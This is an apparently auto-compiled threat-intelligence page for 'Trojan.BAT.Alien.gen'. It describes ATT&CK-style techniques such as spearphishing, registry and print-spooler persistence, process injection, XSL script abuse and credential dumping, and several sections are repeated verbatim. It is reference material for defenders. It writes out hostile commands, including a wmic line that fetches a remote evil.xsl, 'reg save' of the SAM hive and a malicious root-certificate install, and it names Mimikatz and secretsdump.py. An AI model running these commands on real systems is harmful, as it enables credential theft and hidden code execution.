Trojan.BAT.Alien.gen

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.

Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an “IDN homograph attack”).(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)

Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to Steal Application Access Tokens.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)

Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)

JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the Component Object Model and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)

JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and AppleScript. Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)

Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a Drive-by Compromise or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of Obfuscated Files or Information.

An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system’s SMB/Windows Admin Shares for RPC communication.

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session’s access token and the adversary can use `SetThreadToken` to assign the token to a thread.

This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:WindowsSystem32, and C:WindowssysWOW64 on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (HKCUControl PanelDesktop) and could be manipulated to achieve persistence:

* SCRNSAVE.exe – set to malicious PE path

* ScreenSaveActive – set to ‘1’ to enable the screensaver

* ScreenSaverIsSecure – set to ‘0’ to not require a password to unlock

* ScreenSaveTimeout – sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)

Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

* %WINDIR%AppPatchsysmain.sdb and

* hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagsinstalledsdb

Custom databases are stored in:

* %WINDIR%AppPatchcustom & %WINDIR%AppPatchAppPatch64Custom and

* hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagscustom

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).

Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.

Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINESystemCurrentControlSetServicesW32TimeTimeProviders.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:WindowsSystem32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLMSYSTEMCurrentControlSetControlPrintMonitors.

The Registry key contains entries for the following:

* Local Port

* Standard TCP/IP Port

* USB Monitor

* WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLMSYSTEM\[CurrentControlSet or ControlSet001]ControlPrintEnvironments\[Windows architecture: e.g., Windows x64]Print Processors\[user defined]Driver Registry key that points to the DLL.

For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)

The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system’s SMB/Windows Admin Shares for RPC communication.

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:WindowsSystem32, and C:WindowssysWOW64 on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (HKCUControl PanelDesktop) and could be manipulated to achieve persistence:

* SCRNSAVE.exe – set to malicious PE path

* ScreenSaveActive – set to ‘1’ to enable the screensaver

* ScreenSaverIsSecure – set to ‘0’ to not require a password to unlock

* ScreenSaveTimeout – sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)

Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

* %WINDIR%AppPatchsysmain.sdb and

* hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagsinstalledsdb

Custom databases are stored in:

* %WINDIR%AppPatchcustom & %WINDIR%AppPatchAppPatch64Custom and

* hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagscustom

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).

Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.

Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINESystemCurrentControlSetServicesW32TimeTimeProviders.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:WindowsSystem32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLMSYSTEMCurrentControlSetControlPrintMonitors.

The Registry key contains entries for the following:

* Local Port

* Standard TCP/IP Port

* USB Monitor

* WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLMSYSTEM\[CurrentControlSet or ControlSet001]ControlPrintEnvironments\[Windows architecture: e.g., Windows x64]Print Processors\[user defined]Driver Registry key that points to the DLL.

For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)

The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, Modify Registry, Plist File Modification, or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. Create Account).(Citation: Talos – Cisco Attack 2022)

In some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant – Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer – Ryuk WoL)(Citation: AMD Magic Packet)

Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

* msxsl.exe customers[.]xml script[.]xsl

* msxsl.exe script[.]xsl script[.]xsl

* msxsl.exe script[.]jpeg script[.]jpeg

Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its Regsvr32/ “Squiblydoo” counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

* Local File: wmic process list /FORMAT:evil[.]xsl

* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)

Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

On Windows, there are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)

Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock.

Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques:

* pwdumpx.exe

* gsecdump

* Mimikatz

* secretsdump.py

Alternatively, the SAM can be extracted from the Registry with Reg:

* reg save HKLMsam sam

* reg save HKLMsystem system

Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)

Notes:

* RID 500 account is the local, built-in administrator.

* RID 501 is the guest account.

* User accounts start with a RID of 1,000+.

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINESECURITYPolicySecrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft – Cached Creds)

On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password.(Citation: ired mscache)

With SYSTEM access, the tools/utilities such as Mimikatz, Reg, and secretsdump.py can be used to extract the cached credentials.

Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)

Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

* Metasploit’s post exploitation module: post/windows/gather/credentials/gpp

* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)

